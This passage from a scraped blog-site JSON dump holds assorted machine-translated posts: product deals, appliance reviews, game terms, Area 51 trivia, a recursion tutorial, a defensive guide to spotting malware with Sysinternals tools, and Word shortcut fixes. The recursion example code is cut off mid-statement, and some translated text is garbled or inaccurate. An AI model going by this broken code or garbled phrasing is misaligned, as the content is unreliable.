Edit (2) if you want to adjust edit more.\n  Step 3: Select the available background of remove.bg or can be uploaded from your device, using Select Photo (2) -\u0026gt; if you want to blur the background then choose Blur (1) -\u0026gt; finally save the image. come on\n  In short, the two websites above have their own advantages and disadvantages. Like Pixlr.com, you can edit or delete photo backgrounds in a professional manner and require more meticulous. As for Remove.bg , just upload the photo to the site to automatically delete the background, but there will be cases where it can not be removed due to unclear image details or poor quality.\nEpilogue Ok, so I have instructed how to delete online background online on Pixlr.com and Remove.bg very simple. Hopefully this tip, can help you edit the background without using software. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0edOoZJ2dnJrBpnnOp6OippVir6KvyqCpqK2emXqqucCgnKxllqS%2FbrLRnpw%3D\n","link":"/post/instructions-to-delete-online-background-images-for-free/","section":"post","tags":null,"title":"Instructions to delete online background images for free"},{"body":"Remember when a new phone was the big news? Seems forever ago. But it was literally just last month that Samsung unveiled the Galaxy S20 lineup, with a starting price of $1,000. As always with flagship launches, I advised either scooping up last year's model at a discount or waiting for the inevitable price drop on the new one.\n I didn't think the latter would happen this quickly, or this heavily, but here we are: For a limited time, and while supplies last, Best Buy (via eBay) has the open-box\u0026nbsp;unlocked Samsung Galaxy S20 for $679.99. You'll see that price when you add it to your cart. Shipping is free, but sales tax may apply.\nIf you're thinking \"open-box\" is code for \"someone mud-wrestled with it strapped to their boot and then returned it,\" you're only partially right. These are most likely devices that people bought and then returned (for one reason or another) within Best Buy's 14-day window, which is why they're not designated recertified or refurbished. They don't need to be. They should still be good as new. (They're listed here as \"excellent\" condition.)\nIndeed, the batteries can't possibly have more than a week or two of use under their belts, and the phones are still covered by a full one-year Samsung warranty, according to Best Buy. The only potential shortcoming is that you may not get the original warranty card (no biggie, just register it online), manual (again, find it online) or box.\nStill prefer new-new to like-new? Best Buy proper currently has the unlocked Galaxy S20 for $799.99, a full $200 off last month's price. (You can save another $50 by activating the phone with AT\u0026amp;T or Verizon or another $100 if you activate with Sprint, but I say skip activation and then take it to a lower-cost carrier.)\nNot sure yet whether this is the right phone for you? Read CNET's Galaxy S20 review to find out. One big complaint was the $1,000 price tag, but this deal certainly softens that blow.\nWith all the uncertainty in the world right now, I don't know if anyone is shopping for new phones -- especially flagship phones. I do know that $320 is a huge saving on a model that was introduced just last month.\u0026nbsp;\nYour thoughts?\nGet a 2-pack of Echo Show 5 smart displays for $110   Right now I really, really wish I'd given my parents an Echo Show so we could more easily video-call. If you're having that same hankering, here's a pretty inexpensive solution: For a limited time, and while supplies last, QVC has a 2-pack of Echo Show 5 smart displays for $109.96. If it's your first QVC purchase, use promo code WELCOME to knock that down to $99.96.\nThe current price for an Echo Show 5 is $90, though it frequently goes on sale for $20-$30 less. Assuming you're able to use the code, $100 for two rivals Black Friday pricing.\nQVC's deal also includes two vouchers, each good for a variety of extras like a three-month Yoga International subscription and three-month America's Test Kitchen subscription.\nAlthough the Echo Show 5's 5.5-inch screen is perhaps better suited to a nightstand than a kitchen, it's still an excellent smart device and a super-easy way to connect with friends and family. (You can use the Alexa app or Skype for video calls.)\nncG1vNJzZmismaXArq3KnmWcp51kt7a%2F02amp51doryvwMdmmJ%2Bslad6ra3Up5qhZZFiuqK%2F0qKtnmWgp7aksYydqaioXaS7bsDHnmSgmZyWxbp50mtnZm2XYr2pu82e\n","link":"/post/just-one-month-after-launch-a-massive-price-drop-on-the-galaxy-s20-5g-phone/","section":"post","tags":null,"title":"Just one month after launch, a massive price drop on the Galaxy S20 5G phone"},{"body":"PDF to Word Converter is AnyBizSoft's software that makes it easy to convert PDF files to DOC (Word) quickly and especially during this time AnyBizSoft allows users to register for free use.\nThe strength of PDF to Word Converter is to help you convert PDF files to Word very quickly and without Vietnamese font errors. But to use this program legally, you need to register to receive the license code from AnyBizSoft software vendor here.\n  At the registration interface, you need to provide sufficient information such as last name, first name and email address (remember that the information must be correct) and then press Send me Keycode . Now open the newly provided email address with the content ' AnyBizSoft PDF to Word Converter 2.5.3 Registration Mail ' includes email address and registration key.\nDownload PDF to Word Converter 2.5.3 here with a capacity of about 6.15MB. After downloading, launch the executable file named anybizsoft-pdf-to-word_free.exe right on the desktop and install it normally. Installation is complete, this program will ask you to register to be able to use. You enter the information provided by AnyBizSoft in the email.\n  The working interface of PDF to Word Converter is quite friendly and simple. To do this, click Add PDF Files to find the PDF file you want to convert. You can select multiple files to convert at the same time.\nIn Output Setting , you have 2 ways to choose where to save Save in the same folder as source (saved in the folder of the PDF file), Customize (defaulted in . My DocumentsAnyBizSoft PDF to Word ).\n  Friendly working interface of PDF to Word Converter\nFinally, click Convert to start the conversion program right away for you. Fast or slow conversion time depends on PDF file size more or less.\n  Some features supported by PDF to Word Converter 2.5.3 in this latest version:\n  A number of new features are significantly improved by PDF to Word Converter\nIf the PDF file you want to convert has too many pages, but you just want to select some typical pages that need to convert, select Selected Pages and select which pages to convert. The program will only convert selected pages.\nncG1vNJzZmismaXArq3KnmWcp51kvaWyjK2mZq%2Bfp7Fur86nrZ6qpJq%2Fbr7EoKCsrJWneqe70Wadq52VYrqiuthmpZ6vXZuyosDUq5ys\n","link":"/post/register-for-free-many-new-features/","section":"post","tags":null,"title":"Register for free, many new features"},{"body":"A suspicious or skeptical scientist should decide to make a lie detector robot, to apply it to the soldiers in Cao Cao's camp.\nOn the day of successful manufacture, he tried it with his son. The son who had just returned from school when he brought the robot out asked:\n- Why are you late for school?\n- I went to my house to borrow books to study.\nThe robot detects a lie and gives it to his son.\nThe father laughed:\n- You see, lying is punished. At the same age as the father did not dare lie to his grandfather.\nImmediately, the robot kicked him into the wall.\nThe wife saw her son being beaten pain then said:\n- Why are you doing that to me, after all it's my son!\nRobot holding the wives, pommel.\nTechnology jokes: User or network administrator Technology jokes: IT standards for recruiting wives ncG1vNJzZmismaXArq3KnmWcp51kwaavx6empaeXrnqru8qeqmaqn5e8tXnDnquem6Soeq21xKw%3D\n","link":"/post/technology-jokes-robot-detects-lies/","section":"post","tags":null,"title":"Technology jokes: Robot detects lies"},{"body":"Area 51 is said to be the most mysterious military area in the world . This area has existed for a long time, but in 2013, the US Government recognized its existence. However, all activities of this area are still kept private.\nHere are the secrets that have never been revealed about the top secret US Area 51:\n1. It is thought that even every movement of a fly can be tracked throughout the area 51.\nThis is not too overstated. Because this area was attached to a lot of motion sensors and security guards wearing desert-style camouflage (\"cammo dudes\") everywhere.\n2. Area 51 used to have different names.\nArea 51 is located in the middle of the remote Nevada desert, and used to have many different names to hide the purpose of operations such as: Paradise Ranch (Paradise Ranch), Home Base, Town Town ( Water Town, Promised Land (Dreamland).\n  Area 51 is located in the middle of the wilderness.\nThe Central Intelligence Agency (CIA) has always emphasized the true name of Area 51 as Homey Airport (Homey Airport), or Lake Groom (Groom Lake).\nArea 51 was the first name written by the agency in a document before 1975.\n3. A-12 reconnaissance aircraft has advanced technology developed in Area 51\nAfter decades of Cold War, reports revealed evidence of the existence of A-12 spy planes. According to the document, A-12 reconnaissance aircraft can reach 3,500 km / h and ground radar cannot be detected.\nTo avoid being detected, photographed and videotaped, the A-12 reconnaissance aircraft was only tested during the night on a 2.7km runway.\n  The aircraft was developed and tested in Area 51.\n4. In April 1955, during the time of President Dwight Eisenhower, CIA operated Area 51 to develop and test reconnaissance aircraft in a secret project called Aquatone .\n5. The airspace of Area 51 stretches over an area of ​​about 37 to 40 km.\nAny pilot discovered illegally above or through this area will be sentenced by a military court, likely to be discharged because of a dishonorable discharge violation and may even have to in prison.\n6. Area 51 has a cement tennis court, a private bowling alley and a baseball team. These are their only forms of entertainment. Because radio waves are hard to pass through the mountains and TV is not allowed here.\n7. A buffet with lobster and oysters is available every week in Area 51.\n8. Despite being strictly protected \"internal realities, foreign realities \" but still does not prevent people constantly arguing about UFOs, aliens and mysterious activities in it.\n  Regional signs 51 (Rrevin35 / Deviant Art)\n9. Area 51 has the Nellis strip near the lake Groom factory to test weapons and technology for the US military.\nDuring the Cold War, the Atomic Energy Commission oversaw a number of aerial nuclear explosions to develop incredible atomic techniques.\n  Nuclear explosion in 1959.\nThe US Air Force publicly denies these activities but it is still secret.\n10. 70% of Americans believe that UFOs and aliens are related to Area 51.\nncG1vNJzZmismaXArq3KnmWcp51kwamxjKycnKqVqcBuusSvnKtloprDpq3LnptmmZKkwrV5wKucmmVlZnq1tMRmq6ioXaiypL7ErWSuq12itq2105qpsmWSlsCm\n","link":"/post/the-secrets-never-revealed-about-area-51-the-top-secret-us-military-base/","section":"post","tags":null,"title":"The secrets never revealed about Area 51, the top secret US military base"},{"body":"Often most games have their own specific terms so that gamers can quickly identify what their teammates want to say. In PUBG there are separate terms for the types of houses. This will be the position where members often exchange and communicate with their teammates, to recognize and coordinate faster. The following article will summarize the names of home names in PUBG.\nHow to play PUBG Mobile on PC with Tencent emulator How to play PUBG Mobile on PC using Nox App Player Tips to limit blood loss in PUBG Mobile Location terms in PUBG 1. The church\nThe church points to the abandoned old churches in the game. This term has nothing to puzzle players.\n  2. 2-storey house \"dead\"\nThis house will have only 1 entrance, 4 sides of the house will be a window and it is easy to get stuck if the enemy attacks or bombs. The only way to escape is to jump from the window.\n  3. Doremon's house\nIn fact, this Doremon term does not rely on the location of the house, nor does it rely on any elements, but simply streamer Tik who has taken on the house railing and read Doremon's story, still standing at the top 1. Also This house is quite similar to the \"Legend\" house.\n  4. Bird's nest house\nThis house has 2 floors but there are not many things to loot, there is nothing to defend around.\n  5. The labyrinth house\nThis house will have 2 floors but when going to the 2nd floor will see the door and door. This makes it easy for players to mistake this room to another room, like a maze battle.\n  6. The cafe is dim\nWhen parachuting down Primorsk, Severny or Mylta we will often land on this site. This location is easy to loot, there are not many gamers so it will limit attack.\n  7. Stone house\nAccording to many gamers, the stone will appear Kar98 or Scop8x.\n  8. Brick house\nThis house often appears many stone bricks when going upstairs.\n  9. The L house\nThis building is located at the Pecado resort hotel, these rooms are arranged close to each other and form an L shape. If you want to get more items, you can also choose this place.\n  10. Bread house\nIf viewed from above, this house is quite similar to a loaf of bread. Inside there are lots of things to loot.\n  11. The arena\nThis position often occurs fierce attacks, scrambling for the area.\n  12. Xuka House\nThe 2-storey villa, though simple, is not too solid but contains a lot of items for gamers to loot. We can use this house for defense.\n  Each house in PUBG is often named based on their shape, their location or random names. Each house will have different characteristics, appropriate or not for the player's stealth and attack process.\nSee more:\nGuide to parachuting in PUBG Mobile Tips to survive in PUBG Mobile game Loot locations in PUBG Mobile Wish you all have fun playing games!\nncG1vNJzZmismaXArq3KnmWcp51kwamxjK2cq6VdpLNussCmoKWhkad6rbvCmquip56oeqq6jKmsm58%3D\n","link":"/post/the-term-of-familiar-locations-in-pubg/","section":"post","tags":null,"title":"The term of familiar locations in PUBG"},{"body":"Building professionalism in work, from dress, style to attitude, thinking, management . will be the foundation for you to have unexpected breakthroughs in your career.\nProfessional is one of the requirements and standards that companies often use when searching for talent, considering the ability to improve or evaluate the working attitude of the staff . At the same time, here is also the goal that most of us want to be: a professional person . Unfortunately, not everyone knows how to become professional?\n23 rules in business that any professional employee needs to know 5 habits of behavior create the value of a professional manager 7 indispensable gesture languages ​​for a professional manager 17 unprofessional work habits make you most likely to be eliminated Here are a few tips to help you become a professional employee, setting the stage for becoming a professional manager and leader.\n  1. There are specific goals Your image will reflect what you want to achieve and goals are factors that influence the level of professionalism you need to build. For example, if you want to become a leader in the future, it is very important to practice the habit of thinking, acting and working professionally, but if your dream is an artist or a house The design is sometimes a little better or \"crazy\" a lot better.\n2. Professional time management A person with a professional working style is someone who must know how to allocate and use time professionally. Going to work on time, completing work on schedule, having a schedule, controlling projects, allocating a reasonable time between work and personal life . And the first thing is that you must understand when you need to change from amateurs to professionals.\n  This \"transformation\" process is not only a few days that can be successful, but you also need to patiently train yourself and constantly learn to improve.\n3. Learn to observe In fact, depending on the nature of the work, the level of professionalism in each person will be different and you can base this on the right development strategy. The fastest way to know that is to observe your work environment. Notice the people around you and ask yourself what is this business culture? How do they live together? What rules and rules do they need to follow? Does the boss often remind employees to dress appropriately? Can you show an unhappy attitude? . The more you understand your working environment, the more you will know how to change yourself in the right direction to suit your workplace.\n4. Working with professional people   A quick way to become a professional is to work with professional people. Next to them, you will find yourself learning a lot of things, from thinking, thinking, analyzing, presenting problems to how to communicate, behave, solve situations . So, if maybe, find yourself a supervisor, mentor and always show your desire to learn at work.\n5. Measure efficiency Measurement is essential. If you know what you have been, where your mistakes are and what you need to do next, you will make yourself a more thoughtful and productive scientist. Once you practice this habit, you will quickly achieve professionalism both in work and life.\n6. Professional communication A professional person is a person who knows how to deal with humanity, does not participate in sensitive political issues, chatting, gossiping in the room, always showing respect for people, listening, giving Feedback and willing to help others.\nncG1vNJzZmismaXArq3KnmWcp51kwbB5wZ6aqKWVYq5uvNGonZ6ro568r63LZpitZaSdsm67xZ%2BgnJ1dmbxuwMeeqp5lZmLBqbXNoKo%3D\n","link":"/post/to-become-a-professional-at-the-office-do-these-6-things/","section":"post","tags":null,"title":"To become a professional at the office, do these 6 things"},{"body":"The drizzle and the humid atmosphere always made the women have a headache because they did not know how to make clothes dry quickly and not smell of mold.Understanding this feeling of housewives, housewares have launched a wardrobe to help the daily drying work of women become more comfortable.So, which type of wardrobe is the best in the market today?Let's refer to the top 5+ products that are extremely popular with women below.\nTiross clothes dryer TS-882 (1500W) TheTiross TS 882clothes dryer witha capacity of 1,500W is a perfect suggestion for the question of which dryer to buy.The wardrobe can dry a large amount of clothes in an extremely fast time with a stable temperature in less than 30 minutes, without wrinkling clothes.When using Tiross TS 882 clothes dryer, PTC drying technology with high temperature will help kill bacteria effectively.In addition, the clothes are completely separate from the outside, no dirt into the machine.\n  The large size of the dryer can dry up to 15kg at a time, saving electricity and time for you.Tiross TS 882 clothes dryer is suitable for tight spaces, families with young children, mini apartments, student rooms . Tiross wardrobe designed with flower-blowing blowers creates a large wind flow. , wide wind and low noise.Flexible drying timer function: 30 - 60 - 120 - 180 minutes, depending on the amount of clothes needed to dry and fabric.\nReference price: 1,540,000 VND\nClothes dryer Tiross TS-880   \nThe Tiross TS880 tumble dryer has a capacity of 900W, uses advanced heat-drying technology to dry clothes faster and more efficiently.Unlike rotary clothes dryer that can damage clothes due to abrasion, clothes when dried in a clothes dryer are kept fixed, so it can protect fabric, clothes after being dried will be easier. .The Tiross TS 880 clothes dryer is very suitable for apartments, dormitories and motels that lack space.\nAdvantages of clothes dryer Tiross TS 880:\nDry clothes with a steady drying temperature. The smart Tiross clothes dryer helps quickly dry clothes, prevent wrinkles and is very safe. Luxurious, elegant, many colors to choose. Save time, space and save money for every family when using. Completely eliminate bacteria with electromagnetic pulse generator. Can dry many clothes at the same time, saving electricity and time. Clothes dryer Tiross TS-880 protects the health of your baby and the whole community. Clothes will be more beautiful and clean of bacteria. Reference price: VND 1,140,000\nKachi MK110 clothes dryer   \nKachi MK110 clothes dryer is an ideal product to use in rainy season, humid weather.Thanks to the high mobility, the MK-110 clothes dryer is suitable for all families, especially tight spaces such as student rooms, families with young children, and apartment buildings.\nKachi MK-110 clothes dryer is applied with modern technology for fast drying effect, the maximum drying volume is up to 15kg without causing wrinkles, does not discolor clothes.Drying time only takes from 1 to 3 hours, depending on the amount of clothes more or less, thick or thin, saving energy.\nReference price: 470,000 VND\nKoriHome CDK-236 Clothes dryer Clothes dryer KoriHome CDK-236 is a \"savior\" for clothes in drizzle weather, weak winter sun, helping clothes to be dry, fragrant after 1 - 3 hours, no smell uncomfortable.\n  KoriHome CDK-236 clothes dryer operates with a capacity of 900W, is equipped with a special structure fan so it is not noise and the efficiency is almost 100%.PTC ceramic drying technology helps dryer quickly, anti-wrinkle, drying a large volume of clothes in just 1 time.\nIn addition, the machine also has many modes such as: Up to 180 minutes timer, overload and overheat protection, anionicidal and fabric softening mode, handy remote control .\nReference price: 1,890,000 VND\nKoriHome CDK-101 clothes dryer   \nThe KoriHome CDK-101 clothes dryer uses PTC Ceramic drying technology that does not cause wrinkles, silver or discoloration of the clothes, ensuring absolute durability.The easy-to-use mechanical control system and the timer function up to 180 minutes, helping users not to waste time waiting for drying clothes.\nThe main body is made of solid aluminum, the sub-shelves are made of hard plastic, resistant to high temperatures.Aluminum tripod, bottom with rubber feet to help prevent slipping.The dryer jacket is made of a thick heat-resistant cloth, which helps keep the clothes dry faster.\nNote: For KoriHome CDK-101 clothes dryer to work better and more durable and save more time, we should extract clothes before putting them in the machine, can use a washing machine to spin or squeeze. hand.\nReference price: 1,490,000 VND\nHichiko HC-1000T Clothes dryer   \nHichiko HC-1000T Clothes Dryer is designed with a capacity of 1000W, so you can dry clothes very quickly to save time and effort for housewives.Hichiko HC-1000T offers high efficiency by using a stable heat generator to help ensure maximum safety when operating.In addition, the machine has the ability to help save more outstanding energy than other conventional clothes dryers.\nHC-1000T clothes dryer is designed in style and simple modern style, has a stable electrical system, ensuring safety for users.\nReference price: 1,166,000 VND\nSunhouse Clothes dryer SHD2707   \nIf you are wondering what kind of good clothes dryer right now, Sunhouse SHD2707 clothes dryer is a perfect suggestion for you.The product has a drying temperature of up to 65˚C, equipped with a large heat sink, which helps the hot air circulate evenly throughout the range of the cabinet, so that the clothes will be dried, sterilized to 99%, contributing to the protection of users' health and durability of household appliances.\nSunhouse clothes dryer product with many smart functions helps users can use it as a clothes drying device, cloth, and can be used to make a wardrobe when not using the drying function.\nReference price: 1,499,000 VND\nSunhouse SHD2701 Clothes dryer   \nSunhouse SHD2701 clothes dryer is equipped with a capacity of up to 1,000W and a drying temperature of 65 degrees Celsius to help dry clothes quickly, effectively supporting housewives.The product is ideal for use during the rainy season and the wet season.Using the method of static drying (ie convection heat drying), the product helps to quickly dry clothes, avoiding abrasion or wrinkling effectively.At the same time, the PTC thermal resonant drying technology on the dryer helps to increase clothes protection by 2 times, avoiding clothing damage.\nA clothes dryer that also has UV light will work during the last 15 minutes of drying, improving the efficiency of getting rid of dirt and bacteria, giving the whole family clean clothes. health insurance to the maximum for the whole family.\nReference price: 1,389,000 VND\nSunhouse clothes dryer SHD2702   \nSunhouse SHD2702 clothes dryer applies static drying method to avoid abrasion or wrinkle clothes.In addition, the machine uses PTC heat-resonant drying technology with 360-degree thermal cages to spread the hot air evenly, doubling the protection of clothes.\nThe device has a square cabinet design, looks quite eye-catching and is also very compact.You are free to move the cabinets to different positions but still large enough to help you be able to dry more clothes at the same time.\nClothes dryer SHD2702 has a floor rack that can easily be removed and stored neatly and conveniently.The cabinet is multifunctional, can be used to dry, store and keep clothes clean, allowing users to adjust the modes with a convenient rotary knob switch.\nReference price: 1,050,000 VND\nThe evaluation of which kind of good clothes dryer should be based on many factors such as design, capacity . especially must suit your needs.The products we introduce hope to be a useful reference for women to make the housework of housewives easier and easier.\nncG1vNJzZmismaXArq3KnmWcp51kgm6uxKyrZpucpMGpsdJmm6uxlafAbsDOZpqoqJVixKrAx2abq6Gqr7mmecCnm2agpaK2pXnWnpitoJWn\n","link":"/post/5-best-clothes-dryers-to-cope-with-drizzle-and-humid-weather/","section":"post","tags":null,"title":"5+ best clothes dryers to cope with drizzle and humid weather"},{"body":"Apple released several patches for Boot Camp software as well as desktop updates for MacBook and notebook MacBook Pro 13.3, on November 18, 2010.\n  Boot Camp 3.2 software currently has 2 32-bit and 64-bit versions for Windows users, supports ATI Radeon HD 5870 graphics card, the device connects Apple USB Ethernet Adapter and MacBook Air SuperDrive storage, at the same time solving a series of important nameless errors. Apple recommends that users of Boot Camp 3.1 upgrade to this new version.\nApple also released 2.0 firmware EFI updates for desktop MacBook and 13.3 'MacBook Pro laptops (33.78cm), correcting an incorrect color display when connecting to an external monitor.\nBoot Camp 3.2 software supports Windows XP, Vista or Windows 7, requires users to be running Boot Camp version 3.1 to upgrade. This software has a capacity of 280.28MB with 32-bit version, 121.25MB with 64-bit version.\nThe 2.0 EFI firmware updates require a MacBook or MacBook Pro 13.3 computer 'to run Mac OS X 10.6.5, with a capacity of only 1.98MB. You can download these updates from Apple's Support website or via the Software Update utility.\nncG1vNJzZmismaXArq3KnmWcp51krrG8y55krqiUlsGmv4ybpqisXZiurryMmqWdZZaev67DwKucZp6fp3qurcKbpqij\n","link":"/post/apple-updates-boot-camp-and-firmware-for-macbook/","section":"post","tags":null,"title":"Apple updates Boot Camp and firmware for MacBook"},{"body":"What is Recursion? Some programming languages ​​allow a module or function to be called to itself. This technique is called Recursion. In recursion, a function can: call this function directly or call a function b that returns the call to the original function a . Function a is called recursive function.\nFor example , a function calls itself\nint function ( int value ) { if ( value For example , a function that calls another function returns a call to the original function\nint function ( int value ) { if ( value Characteristics of recursive functions A recursive function can continue to happen countless times like an infinite loop. To avoid this, you must keep in mind the following two properties of the recursive function:\nBasic condition : there must be at least one condition for when this condition is met, calling that function (called recursion) will stop.\nProximity: whenever the recursive function is called, it is asymptotic to the basic condition.\nRecursive function deployment Many programming languages ​​implement recursion in the manner of stacks. In general, whenever a function (caller function) calls another function ( called function - callee ) or calls itself (callee), the caller function transmits the control to the callee. This transfer process may also include some data from caller to callee.\nCompare recursion and loop One might say that why using recursion while using a loop can do the same thing. The first reason is that recursion makes the program more readable and with today's improved CPU systems, recursion is much more efficient when compared to loops.\nTime complexity of recursive function With loops, we take the number of loops to calculate the time complexity. Similar to recursion, assuming everything is constant, we calculate the time that a recursive call is created. A call made to a function will be Ο (1), so for n is the time a recursive call is made, the time complexity of recursive function will be Ο (n).\nMemory complexity (complexity space) of recursive function Memory complexity is estimated based on the amount of additional memory required for a module to be executed. With loops, the compiler almost doesn't need any extra memory. The compiler will update the value of the variable used right in the loop. But with recursion, the system needs to store dynamic logs every time a recursive call is made. Therefore it can be said that the memory complexity of the recursive function is higher than the loop.\nAccording to Tutorialspoint\nPrevious article: Heap data structure\nNext article: Problem of Hanoi Tower (Tower of Hanoi)\nncG1vNJzZmismaXArq3KnmWcp51kr6K%2FyJyqZqeWYr%2Bmr9SrqqKnnmK%2Fpq%2FUq6qip54%3D\n","link":"/post/basics-of-recursion-recursion/","section":"post","tags":null,"title":"Basics of recursion (Recursion)"},{"body":"Are you looking for the most beautiful, luxurious and fully equipped kitchen for your family? So invite you to refer to the beautiful kitchen model, with high aesthetics, the most neat and comfortable kitchen furniture that the article shares below.\n  Here are 50+ most beautiful kitchen samples, please refer to them.\n  Sample beautiful kitchen model\n  Sample beautiful modern kitchen\n  Sample photos of the kitchen\n  Beautiful kitchen photos\n  Nice kitchen for small houses\n  Beautiful types of kitchen\n  The most beautiful kitchen pattern\n  Beautiful kitchen models\n  Suggestions beautiful kitchen pattern\n  Kitchen model suggestions\n  Beautiful kitchen pictures, modern and luxurious\n  Beautiful kitchen pictures\n  The most beautiful kitchen model\n  Beautiful modern kitchen model\n  Modern kitchen model\n  The most beautiful small kitchen model\n  Kitchen model\n  Beautiful kitchen pictures (2)\n  Nice kitchen picture\n  Beautiful kitchen space\n  Beautiful kitchen space\n  Beautiful simple kitchen pattern\n  The most beautiful kitchen pattern\n  Beautiful kitchen model, luxurious\n  Beautiful kitchen pattern\n  Beautiful kitchen pattern\n  Beautiful simple kitchen pattern\n  The most beautiful modern kitchen pattern\n  Beautiful modern kitchen pattern\n  Sample of a modern, simple and beautiful kitchen\n  Beautiful small kitchen pattern\n  Sample luxury kitchen\n  Sample dining room and beautiful kitchen\n  Beautiful kitchen model for the family\n  Modern kitchen model for the family\n  Beautiful modern kitchen pattern\n  Beautiful and modern model, nice and luxurious\n  Beautiful kitchen design template\n  Beautiful simple kitchen design template\n  Nice simple kitchen\n  Nice modern kitchen\n  The most beautiful kitchen\n  The most beautiful kitchen\n  Beautiful kitchen\n  Beautiful simple kitchen\n  The kitchen is simple but beautiful\n  Beautiful modern kitchen\n  Nice small kitchen\n  Beautiful types of kitchen\n  The most beautiful kitchen pattern\n  The most beautiful kitchen pattern\n  Beautiful kitchen models\n  Beautiful kitchen furniture\n  Nice dining room\n  Nice kitchen\n  Modern kitchen, beautiful for the family\n  Design beautiful kitchen pattern\n  Beautiful kitchen design\n  Design beautiful kitchen\nAbove are suggestions for the most beautiful, luxurious and comfortable kitchen samples, hope you will find a model of the kitchen that suits your home. \u0026nbsp;\nncG1vNJzZmismaXArq3KnmWcp51kr6at1K2gn62cYriqwMKhnKdlpJ2ybrnOrKtmmpWWwrW1xa6jZqOZqbCpsc1mp5qspJq%2Frw%3D%3D\n","link":"/post/beautiful-kitchen-the-most-beautiful-kitchen-pattern/","section":"post","tags":null,"title":"Beautiful kitchen - The most beautiful kitchen pattern"},{"body":"In part one of this two-part series, I will show you how to use Sysinternals Tools to detect and destroy malware in Windows systems.\nThere are many applications that can detect and kill malware, such as Microsoft's own Malicious Software Removal Tool (MSRT), a free tool that can be downloaded here.\nIdentify and destroy Malware yourself Here are some important steps in identifying and destroying malware:\nDisconnect the computer from the network. Identify malicious processes and drivers. Pause and close identified processes. Identify and delete any malware that starts automatically. Delete malware files Restart and repeat the above process. The first step in this process is a precautionary step. Disconnecting your computer from the network will prevent your computer from infecting malware for other computers on the network or vice versa. However, its disadvantage is to make you not be able to fully observe the actions of malware and not fully understand how they work.\nSo how do we identify suspicious processes? The way to identify is to look at processes without symbols, without descriptions and without company names. In addition, we also need to focus on processes that reside in the Windows directory, Especially containing strange URLs in their string, processes that open TCP / IP endpoint or suspicious hosting services and DLLs (hidden as DLLs).\nSo where do we need to go first to check these processes? Many IT professionals often start by looking at the Processes tab of Task Manager . The Description column, which provides a lot of information about the application in use, is the column that we need to pay special attention to.\n  You can get a lot of information in Task Manager by going to the View menu and clicking Select Columns , then tick the desired checkboxes.\n  For example, it is possible to display the path of a file that is connected to the process or it can be included in the Command Line check box to display the command, with which parameters or commands were used to launch the process.\n  Another way to get more information about the process in Task Manager is to right-click it and select Properties . Here you will see information related to file type, location and size, digital signature, copyright information, version (most malware is not available), permission, . Even so all. Only the initial steps, the Task Manager still provides quite a bit of detailed information about a process compared to what you get with the tool like Sysinternals Process Explorer.\nUse Process Explorer to identify malware Process Explorer is provided for free with a capacity of 1.47 MB. It can run on Windows XP and newer versions. The current version of this tool is 14.1 and you can download it here, or you can also run from this link.\nAs you can see in Figure 4, this tool will provide more detailed information about processes than what is received from Task Manager.\n  You will see in Process Explorer, the progress tree in the left column shows the parent-child relationship. If a process is suspected, related processes are also suspicious. Another interesting feature is the ability to right click on a process and select 'Search online' to find more information about the process.\n  However, one thing to keep in mind is that some malware can use randomly generated process names for the purpose of distracting you in identity.\nAs mentioned above, malware that is often packaged and purple in Process Explorer is a sign that files are packaged; Process Explorer looks for signatures of packages and uses a number of techniques to mark these processes.\nSome familiar processes make us mistakenly think of them as malware, such as svchost.exe, rundll32, taskhost.exe, etc. However, some people who create malware know this and often hide malware under processes and run as the system process.\nProcess Explorer's bottom panel is opened from the View menu. When you open this panel you can specify whether to display DLL files. In the DLL view, we can see what is inside the process, can view data or images. This view displays the loaded drivers and can check the string as well as the digital signature.\nIf it detects that some process claims to be Microsoft but not digitally signed, this is a suspect process. We can selectively check digital signatures with the Verify button on the Image tab in Properties (accessed by double-clicking the process name). You can see the Properties dialog box with the Verify button as shown in Figure 6.\n  When verifying a process, the tool will connect to the Internet to check the Certificate Revocation List (CRL). You can add ' Verified Signers ' column to Process Explorer' s display by selecting View | Select Columns and check ' Verified Signer '.\n  In the following, you can see the newly added columns and digital signatures that have been verified.\n  If you want to verify all digital signatures, click the Options menu and select ' Verify image signatures '.\n  Another Sysinternals tool you can use for digital signature verification is Sigcheck, a tool that runs on Windows XP and recent versions. Its current version is 1.71 and can be downloaded here.\nSigcheck is a command line tool that can be used to scan the system. It includes many parameters. By using the -u switch, you will get a list of unsigned files. In addition, you can find hash values ​​(used to check malicious files), and check if the file name in the list is valid for the internal file name.\nHowever, it should be noted that malware creators can also create digital certificates for their software, so the existence of a valid certificate does not guarantee that the process is not malicious.\nConclude\nIn Part 1 of this series, I showed you how to use Process Explorer to find suspicious processes that are malware. In Part 2 of this series, I will show you how to use Autoruns to find the malware that boots at startup, as well as how to use Process Monitor to track malware actions and how to remove malware from the system. .\nncG1vNJzZmismaXArq3KnmWcp51ks6q6w2aYp5xdp7Kuu9WeZKaZnKyus7GMsKCtoF2oxrS1za2cq6aRocBuwM6oo6xloJa%2FtXmQ\n","link":"/post/find-and-remove-malware-with-sysinternals-tools/","section":"post","tags":null,"title":"Find and remove Malware with Sysinternals Tools"},{"body":"There are many causes of the Copy Paste command error that do not work on Windows computers, such as your computer being attacked by viruses, the clipboard does not work, and so the copy (Ctrl + C) and paste commands ( Ctrl + V) does not work. So how to fix this error, please refer to the following article of Network Administrator.\n1. Fix error Copy Copy command does not work on Windows or on Office applications Step 1: Scan your computer for viruses and malware Note:\nBefore taking the next steps, make sure 100% of your computer does not have malware such as rootkirs, malware (malware), or viruses.\nStep 2: Check the Copy and Paste shortcuts on the available applications To check the Copy / Paste shortcut in Word, follow the steps below:\n1. From Word's main menu, click Options.\n  \n2. Next select Customize Ribbon in the left pane.\n  3. Click the Customize button next to \"Keyboard shortcuts\".\n  In Customize Keyboard section, select:\n- Category Categories =\u0026gt; Home Tab.\n- Commands item =\u0026gt; EditCopy.\n  \nNow under the Current keys section you will see two default shortcuts:\nCtrl + C Ctrl + Insert If you don't see the two shortcuts, click \"Press new shortcut key\" , then select the missing shortcut again and press Enter.\n  Perform the same steps on the EditCut and EditPaste commands. On the EditCut command, you will see two default shortcuts:\nCtrl + X Shift + Del On the EditPaste command you will see two default shortcuts:\nCtrl + V Shift + Insert 4. After finishing, check if the error is still there. If the error persists, follow the steps below.\nStep 3: Run Word (or Excel) without Plugins Sometimes in some cases, adding a plugin may cause serious errors in the Word application. So make sure that there aren't any plugins that cause errors on Word, you can run Word without any plugins. To do this thing:\n1. Close Word.\n2. Press the Windows + R key combination to open the Run command window. Then on the Run command window, enter the following command into:\nwinword / safe\n  Note:\nTo run Excel 